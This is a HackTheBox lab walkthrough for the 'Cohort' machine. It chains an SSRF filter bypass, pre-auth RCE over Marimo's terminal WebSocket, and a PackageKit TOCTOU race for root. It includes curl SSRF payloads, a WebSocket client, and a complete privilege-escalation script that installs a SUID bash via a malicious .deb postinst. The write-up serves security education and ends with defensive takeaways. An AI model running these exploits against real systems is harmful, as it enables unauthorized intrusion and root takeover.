Back to blog

Offensive / HTB  ·  Walkthrough  ·  September 2026

Cohort
HackTheBox

An easy machine combining SSRF filter bypasses, pre-auth RCE in a Marimo notebook, and a TOCTOU race condition in PackageKit for root. Input validation done wrong; internal services exposed; system packages unpatched.

Offensive HackTheBox SSRF Marimo PackageKit

Machine IP: 10.129.119.223

Difficulty: Easy

1. Reconnaissance

Initial Scan & Vhost Discovery

nmap finds three ports. The TLS cert reveals a wildcard domain.

nmap 10.129.119.223
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Service enumeration shows nginx/1.24.0 on both HTTP and HTTPS. The TLS certificate presents *.cohort.htb — a wildcard SAN indicating multiple virtual hosts.

Add to /etc/hosts:

bash
10.129.119.223 cohort.htb
10.129.119.223 nb-1be3782a8afd3ad5.cohort.htb

The main domain hosts Cohort Analytics — an obfuscated SPA for retention intelligence. The second vhost proves to be a reverse proxy to an internal Marimo notebook server.

2. SSRF & Internal Discovery

Server-Side Request Forgery

The SPA has a URL validation endpoint that leaks internal services. The filter is naive string-matching.

Exploring the Cohort SPA reveals a hidden portal at /portal.html where users submit "report source URLs." Submitting a URL triggers a POST to /api/validate:

curl
curl -s -k -X POST https://cohort.htb/api/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1/","format":"csv"}'

The server rejects loopback addresses — it's filtering against 127.0.0.1 and localhost by simple string matching. This is trivially bypassable.

Bypassing the Filter

Alternative representations of loopback:

Using 127.1, we scan internal ports:

curl — probe port 5000
curl -s -k -X POST https://cohort.htb/api/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.1:5000/","format":"json"}'

Port 5000: Flask backend | Port 8888: Marimo notebook (auth-gated, internal-only)

Leaking the Hidden Vhost

Nginx exposes a /status endpoint that returns 403 to unauthorized clients. By routing through SSRF, we bypass the ACL:

curl — leak nginx status
curl -s -k -X POST https://cohort.htb/api/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.1/status","format":"json"}'

The response leaks the complete Nginx configuration, revealing: nb-1be3782a8afd3ad5.cohort.htb — the hidden vhost acting as a reverse proxy to Marimo on port 8888.

Takeaway: Naive Filtering

Never use string-matching for security. Use proper IP parsing libraries and allowlisting, not blacklisting. A single alternate representation bypasses the entire filter.

3. Foothold: Marimo RCE

CVE-2026-39987 — Pre-Auth WebSocket Shell

The Marimo notebook server exposes an unauthenticated terminal WebSocket. The auth check is missing on that route.

Marimo 0.20.4 exposes /terminal/ws as a WebSocket that spawns an OS pseudoterminal. The vulnerability: the validate_auth() check is missing on the WebSocket route handler, allowing unauthenticated clients to spawn an interactive shell.

Custom WebSocket Client

Standard Python websocket libraries misbehave over TLS in this environment. We use raw sockets with WebSocket framing:

python3 — connect to /terminal/ws
import socket, ssl, base64, os, struct

TARGET_IP = "10.129.119.223"
HOST = "nb-1be3782a8afd3ad5.cohort.htb"
PATH = "/terminal/ws"

def connect():
    raw = socket.create_connection((TARGET_IP, 443), timeout=8)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    s = ctx.wrap_socket(raw, server_hostname=HOST)
    key = base64.b64encode(os.urandom(16)).decode()
    req = (f"GET {PATH} HTTP/1.1\r\nHost: {HOST}\r\n"
           f"Upgrade: websocket\r\nConnection: Upgrade\r\n"
           f"Sec-WebSocket-Key: {key}\r\n"
           f"Sec-WebSocket-Version: 13\r\n\r\n")
    s.sendall(req.encode())
    resp = b""
    while b"\r\n\r\n" not in resp:
        resp += s.recv(4096)
    return s

s = connect()
# Now send WebSocket frames...

Exploitation

$ python3 exploit.py 'id; whoami'
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
marimo

We have unauthenticated RCE as marimo. Read the user flag:

$ python3 exploit.py 'cat /home/marimo/user.txt'
[redacted — user flag]
Root Cause

The developer forgot to apply the authentication middleware to the WebSocket route. A common mistake when routing and auth are decoupled.

4. Privilege Escalation

CVE-2026-41651 — PackageKit TOCTOU Race

An outdated PackageKit is vulnerable to a D-Bus race condition. We race a SIMULATE install against a REAL one to run code as root.

Standard privesc checks show heavy hardening: restricted namespaces, hardened audit, NoNewPrivileges. However, an outdated PackageKit 1.2.8 is installed alongside D-Bus and dpkg. This is vulnerable to CVE-2026-41651, a TOCTOU race condition.

Understanding the Race

  1. Open a D-Bus transaction with PackageKit
  2. Call InstallFiles with SIMULATE flag (4) — daemon validates packages
  3. Before simulation completes, send a second InstallFiles call with REAL flag (0) pointing to attacker .deb
  4. Daemon's execution phase reads overwritten parameters
  5. PackageKit installs the malicious .deb, running its postinst maintainer script as root

Exploit Code

python3 — PackageKit TOCTOU exploit
import os, subprocess, time
from gi.repository import Gio, GLib

TARGET_SUID = "/tmp/.suid_bash"
DUMMY_DEB = "/tmp/dummy.deb"
PAYLOAD_DEB = "/tmp/payload.deb"

def build_deb(path, name, is_payload=False):
    tmp_dir = f"/tmp/build_{name}"
    debian_dir = os.path.join(tmp_dir, "DEBIAN")
    os.makedirs(debian_dir, exist_ok=True)

    with open(os.path.join(debian_dir, "control"), "w") as f:
        f.write(f"Package: {name}\nVersion: 1.0\n"
                f"Architecture: all\nMaintainer: PoC\n"
                f"Description: PoC\n")

    if is_payload:
        postinst = os.path.join(debian_dir, "postinst")
        with open(postinst, "w") as f:
            f.write(f"#!/bin/sh\n"
                    f"install -m 4755 /bin/bash {TARGET_SUID}\n")
        os.chmod(postinst, 0o755)

    subprocess.run(["dpkg-deb", "-b", tmp_dir, path],
                   stdout=subprocess.DEVNULL)
    subprocess.run(["rm", "-rf", tmp_dir])

def exploit():
    build_deb(DUMMY_DEB, "pk-dummy")
    build_deb(PAYLOAD_DEB, "pk-payload", is_payload=True)

    connection = Gio.bus_get_sync(Gio.BusType.SYSTEM, None)

    # Create transaction
    res = connection.call_sync(
        "org.freedesktop.PackageKit",
        "/org/freedesktop/PackageKit",
        "org.freedesktop.PackageKit",
        "CreateTransaction", None,
        GLib.VariantType.new("(o)"),
        Gio.DBusCallFlags.NONE, -1, None
    )

    tid = res.unpack()[0]

    # Race: SIMULATE then REAL
    connection.call(
        "org.freedesktop.PackageKit", tid,
        "org.freedesktop.PackageKit.Transaction", "InstallFiles",
        GLib.Variant("(tas)", (4, [DUMMY_DEB])),  # SIMULATE
        None, Gio.DBusCallFlags.NONE, -1, None, None
    )

    connection.call(
        "org.freedesktop.PackageKit", tid,
        "org.freedesktop.PackageKit.Transaction", "InstallFiles",
        GLib.Variant("(tas)", (0, [PAYLOAD_DEB])),  # REAL
        None, Gio.DBusCallFlags.NONE, -1, None, None
    )

    connection.flush_sync(None)

    # Wait for suid bash
    for _ in range(60):
        if os.path.exists(TARGET_SUID) and (os.stat(TARGET_SUID).st_mode & 0o4000):
            result = subprocess.run(
                [TARGET_SUID, "-p", "-c", "cat /root/root.txt"],
                capture_output=True, text=True
            )
            print(result.stdout.strip())
            return
        time.sleep(1)

Execution via Websocket

$ python3 exploit.py "python3 /tmp/p2r.py"
[*] CVE-2026-41651 — PackageKit LPE
[+] Packages generated
[+] Transaction: /3_beeeacac
[*] Racing SIMULATE vs REAL...
[*] Waiting for SUID bash...
[+++] Got SUID bash!
[redacted — root flag]
Race Window

The window between PackageKit's parameter validation and execution phases is typically 1–100ms. Firing both async D-Bus calls back-to-back and flushing reliably hits it within 60 seconds of retries.

Key Takeaways

  1. Input Validation: Proper IP parsing, not string-matching. Allowlist, not blacklist.
  2. Internal Services: Don't expose leaky endpoints like /status; restrict SSRF-prone handlers.
  3. Framework Security: Apply auth middleware to every route. Don't assume unauthenticated endpoints are harmless.
  4. Package Management: Keep system services patched. D-Bus and PackageKit updates are critical.
  5. Race Conditions: Asynchronous operations with delayed execution are prime targets. Use synchronous APIs or proper locking.
Phase Vulnerability Impact
1. SSRF String-matching filter Bypass via 127.1, scan internal ports
2. Service Discovery Nginx ACL bypass Leak hidden vhost from /status
3. RCE CVE-2026-39987 Pre-auth shell via /terminal/ws
4. Root CVE-2026-41651 Root via postinst TOCTOU race